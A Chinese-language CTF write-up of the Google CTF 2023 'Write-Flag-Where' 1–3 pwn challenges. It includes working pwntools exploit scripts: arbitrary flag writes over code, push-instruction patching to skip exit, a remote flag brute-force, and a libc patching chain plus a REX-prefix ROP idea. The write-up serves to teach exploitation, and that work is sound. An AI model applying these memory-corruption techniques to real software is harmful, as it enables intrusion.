WRITE-FLAG-WHERE 本地调试的话Maximum number of open file descriptors最高到1024,所以把dup2 patch为小于1024的值或者修改/etc/security/limits.conf把限制调高
grxer@Ubuntu22 ~> ulimit -a Maximum size of core files created (kB, -c) 0 Maximum size of a process’s data segment (kB, -d) unlimited Maximum size of files created by the shell (kB, -f) unlimited Maximum size that may be locked into memory (kB, -l) 628848 Maximum resident set size (kB, -m) unlimited Maximum number of open file descriptors (-n) 1024 Maximum stack size (kB, -s) 8192 Maximum amount of cpu time in seconds (seconds, -t) unlimited Maximum number of processes available to a single user (-u) 19340 Maximum amount of virtual memory available to the shell (kB, -v) unlimited
把下面丢弃流给nop掉
v8 = open("/dev/null" , 2 ); dup2(v8, 0 ); dup2(v8, 1 ); dup2(v8, 2 ); close(v8);
/dev/null
是 Unix-like 操作系统中的一个特殊文件,用作数据的位桶或黑洞。它通常被称为 “null 设备”,因为写入到它的任何数据都会被丢弃,不会产生任何影响。
程序给了进程的maps和往进程任意地址写flag的机会,所以只需要改下某位置可以让flag输出即可
把while循环里的dprintf的地址写入flag即可
from pwn import *context.clear(arch='amd64' , os='linux' , log_level='debug' ) sh=process('./chal_patch' ) gdb.attach(sh) sh.recvuntil(b'have a shot.\n' ) image_addr = int (sh.recvuntil(b'-' , drop=True ), 16 ) success('image_addr: ' + hex (image_addr)) print ('0x%lx %u' % (image_addr+0x21e0 , 80 ))sh.sendline(('0x%lx %u' % (image_addr+0x21e0 , 80 )).encode()) sh.interactive()
WRITE-FLAG-WHERE2 逻辑差不多只是dprintf跑到了exit的下面
.text:0000000000001440 E8 8B FC FF FF call _exit .text:0000000000001440 .text:0000000000001445 ; --------------------------------------------------------------------------- .text:0000000000001445 8B 45 F4 mov eax, [rbp+var_C] .text:0000000000001448 48 8 D 15 86 0 C 00 00 lea rdx, aSomehowYouGotH ; "Somehow you got here??\n" .text:000000000000144F 48 89 D6 mov rsi, rdx ; fmt .text:0000000000001452 89 C7 mov edi, eax ; fd .text:0000000000001454 B8 00 00 00 00 mov eax, 0 .text:0000000000001459 E8 32 FC FF FF call _dprintf .text:0000000000001459 .text:000000000000145 E E8 CD FB FF FF call _abort
我们可以利用flag的格式是CTF{}
>>> hex(ord('C' )) '0x43' >>> hex(ord('T' )) '0x54' >>> hex(ord('F' )) '0x46' >>> hex(ord('{' )) '0x7b' >>> hex(ord('}' )) '0x7d'
54 (T) push rsp 43 54 (CT) push r12
可以利用push指令改写跳过exit,从后往前写CT,用前一个T覆盖后一个C,即为CTTTT,再改写输出flag即可
from pwn import * context.clear(arch='amd64' , os='linux' , log_level='debug' ) io = remote('wfw2.2023.ctfcompetition.com' , 1337 ) # io=process('./chal_patch' ) # gdb.attach(io) io.recvuntil(b' the fluff\n' ) image_addr = int (io.recvuntil(b' -', drop=True), 16) success(' image_addr: ' + hex(image_addr)) io.recvuntil(b' [vsyscall]\n' )sleep(0.5 ) for i in range(4 ): io.sendline(('0x%lx %u' %(image_addr+0x1443 -i,2 )).encode()) sleep(1 ) io.sendline(('0x%lx %u' % (image_addr+0x20D5 , 80 )).encode()) io.sendline('grxer' ) io.interactive()
从c0ke师傅周报那里偷学了一手爆破
思路就是修改if ( (unsigned int)__isoc99_sscanf(buf, "0x%llx %u", &n[1], n) != 2 || n[0] > 0x7Fu )
中0x%llx %u的0为flag中的一位值,下一次输入时以猜测的flag值+x%llx %u的格式来发送数据,如果不是正确的数据就会无法解析数据 (unsigned int)__isoc99_sscanf(buf, “0x%llx %u”, &n[1], n) != 2程序退出,否则正常下一次读入
from pwn import * context.clear(arch='amd64' , os='linux' , log_level='debug' ) def leak (offset, chr) : sh = remote('wfw2.2023.ctfcompetition.com' , 1337 ) sh.recvuntil(b'f luff\n' ) image_addr = int (sh.recvuntil(b' -', drop=True), 16) sh.recvuntil(b' \n\n\n' ) sh.send(('0x%lx %u\n' % (image_addr+0x20BC -offset, offset+1 )).encode().ljust(0x40 , b'0' )) sh.send(('%cx%lx %u\n' % (chr, image_addr, 0 )).encode().ljust(0x40 , b'0' )) try: sh.recvn(1 , timeout=1 ) sh.close() return True except EOFError: sh.close() return False table = '_{}?' + string .digits + string .ascii_lowercase + string .ascii_uppercase flag = '' while(True): find = False for chr in table: if leak(len(flag), chr): find = True flag += chr print(flag) break if not find: print(flag) break
WRITE-FLAG-WHERE3 多了改写位置的判断|| *(_QWORD *)&n[1] >= (unsigned __int64)main - 20480 && (unsigned __int64)main + 20480 >= *(_QWORD *)&n[1] )
不能是main-20480到main+20480之间,只能时libc和栈区
Ex师傅的思路就是改write的的第一个参数
.text:0000000000114 A20 .text:0000000000114 A20 fd= qword ptr -20 h .text:0000000000114 A20 buf= qword ptr -18 h .text:0000000000114 A20 count= qword ptr -10 h .text:0000000000114 A20 F3 0F 1 E FA endbr64 ; Alternative name is '__write' .text:0000000000114 A24 64 8B 04 25 18 00 00 00 mov eax, fs:18 h .text:0000000000114 A2C 85 C0 test eax, eax .text:0000000000114 A2E 75 10 jnz short loc_114A40 .text:0000000000114 A2E .text:0000000000114 A30 B8 01 00 00 00 mov eax, 1 .text:0000000000114 A35 0F 05 syscall ; LINUX - sys_write .text:0000000000114 A37 48 3 D 00 F0 FF FF cmp rax, 0F FFFFFFFFFFFF000h .text:0000000000114 A3D 77 51 ja short loc_114A90 .text:0000000000114 A3D .text:0000000000114 A3F C3 retn .text:0000000000114 A3F .text:0000000000114 A40 ; --------------------------------------------------------------------------- .text:0000000000114 A40 .text:0000000000114 A40 loc_114A40: ; CODE XREF: write+E↑j .text:0000000000114 A40 48 83 EC 28 sub rsp, 28 h .text:0000000000114 A44 48 89 54 24 18 mov [rsp+28 h+count], rdx .text:0000000000114 A49 48 89 74 24 10 mov [rsp+28 h+buf], rsi .text:0000000000114 A4E 89 7 C 24 08 mov dword ptr [rsp+28 h+fd], edi .text:0000000000114 A52 E8 19 C0 F7 FF call sub_90A70 .text:0000000000114 A52 .text:0000000000114 A57 48 8B 54 24 18 mov rdx, [rsp+28 h+count] ; count .text:0000000000114 A5C 48 8B 74 24 10 mov rsi, [rsp+28 h+buf] ; buf .text:0000000000114 A61 41 89 C0 mov r8d, eax .text:0000000000114 A64 8B 7 C 24 08 mov edi, dword ptr [rsp+28 h+fd] ; fd .text:0000000000114 A68 B8 01 00 00 00 mov eax, 1 .text:0000000000114 A6D 0F 05 syscall ; LINUX - sys_write .text:0000000000114 A6F 48 3 D 00 F0 FF FF cmp rax, 0F FFFFFFFFFFFF000h .text:0000000000114 A75 77 31 ja short loc_114AA8 .text:0000000000114 A75 .text:0000000000114 A77 .text:0000000000114 A77 loc_114A77: ; CODE XREF: write+9B ↓j .text:0000000000114 A77 44 89 C7 mov edi, r8d
首先我们需要控制fs:18h不为0,但是我们又不能直接控制fs:18,我们只能填写0x43,有些系统调用在出错设置errno时会根据errno在got里的值将出错码写入fsbase+*errno_got的位置
所以可以故意调用出错控制fs:0x43位置的值不为0,然后 mov eax, fs:18h改为mov eax, fs:43h绕过
ida导出表里找到errno,再ctrl x找交叉引用就可以找到errno got表位置为0x218E10
参数就是从这里来的.text:0000000000114A64 8B 7C 24 08 mov edi, dword ptr [rsp+28h+fd]
也就是rsp+8的位置
我们可以改为rsp+0x43,这样就可以提前用main函数里的 v7 = read(v8, buf, 0x40uLL);
来布置好参数为我们想要的1337
直接贴一下Ex师傅的exp吧
from pwn import * context.clear(arch='amd64' , os='linux' , log_level='debug' ) sh = remote('wfw3.2023.ctfcompetition.com' , 1337 ) result = sh.recvuntil(b'. so' ).split(b' \n' )[-1 ] libc_addr = int (result[:12 ], 16 ) success('libc_addr: ' + hex(libc_addr)) sh.recvuntil(b' \n\n\n' ) #errnogot表里一般是0xffffffffffffff80,只能修改一个字节为C,所以先用0去填充 sh.send(('0x%lx %u\n' % (libc_addr + 0x218e10 -0x70 , 0x78 )).encode().ljust(0x40 , b' \0' )) sh.send(('0x%lx %u\n' % (libc_addr + 0x218e10 , 1 )).encode().ljust(0x40 , b' \0' )) #让close系统调用号变为0x43 ,即shmdt,参数不合法会导致出错设置errno sh.send(('0x%lx %u\n' % (libc_addr + 0x115110 +1 , 1 )).encode().ljust(0x40 , b' \0' )) #修改write的mov eax, fs:18 h为mov eax, fs:43 h sh.send(('0x%lx %u\n' % (libc_addr + 0x114A28 , 1 )).encode().ljust(0x40 , b' \0' )) #把write第一个参数改为esp+0x43 sh.send(('0x%lx %u\n' % (libc_addr + 0x114A67 , 1 )).encode().ljust(0x40 , b' \0' )) sh.send(('0x%lx %u\n' % (0 , 0x70 )).encode().ljust(0x13 , b' \0' ) + p32(1337 )) sh.interactive()
另一种解法是利用指令前缀0x43来操作exit函数
REX前缀的值介于40h到4Fh之间,具体取值取决于所期望的特定的扩展寄存器的组合。一条指令只能有一个REX前缀,必须紧接在指令的第一个操作码字节之前。 REX前缀在其他任何位置都将被忽略。
.text:00000000000455F 0 ; __unwind { .text:00000000000455F 0 F3 0F 1 E FA endbr64 .text:00000000000455F 4 50 push rax .text:00000000000455F 5 58 pop rax .text:00000000000455F 6 B9 01 00 00 00 mov ecx, 1 .text:00000000000455F B BA 01 00 00 00 mov edx, 1 .text:0000000000045600 48 8 D 35 31 42 1 D 00 lea rsi, off_219838 .text:0000000000045607 48 83 EC 08 sub rsp, 8 .text:000000000004560B E8 80 FD FF FF call sub_45390 .text:000000000004560B ; } .text:000000000004560B .text:000000000004560B exit endp .text:000000000004560B .text:0000000000045610 .text:0000000000045610 ; =============== S U B R O U T I N E ======================================= .text:0000000000045610 .text:0000000000045610 .text:0000000000045610 public on_exit ; weak .text:0000000000045610 on_exit proc near ; DATA XREF: LOAD:000000000000B 550↑o .text:0000000000045610 ; __unwind { .text:0000000000045610 F3 0F 1 E FA endbr64 .text:0000000000045614 41 54 push r12 .text:0000000000045616 55 push rbp .text:0000000000045617 53 push rbp .text:0000000000045618 48 85 FF test rdi, rdi .......... .text:0000000000045679 loc_45679: ; CODE XREF: on_exit+8 E↓j .text:0000000000045679 ; on_exit+98 ↓j .text:0000000000045679 44 89 E0 mov eax, r12d .text:000000000004567 C 5B pop rbx .text:000000000004567 D 5 D pop rbp .text:000000000004567 E 41 5 C pop r12 .text:0000000000045680 C3 retn
push rbp push rbp任意一个改为指令前缀都会导致后面多pop一个参数,retn时正好时我们main函数里输入buf的位置,可以结合基地址进行rop
参考链接 http://blog.xmcve.com/2023/06/26/Google-CTF-2023-Writeup/
https://zhuanlan.zhihu.com/p/639991243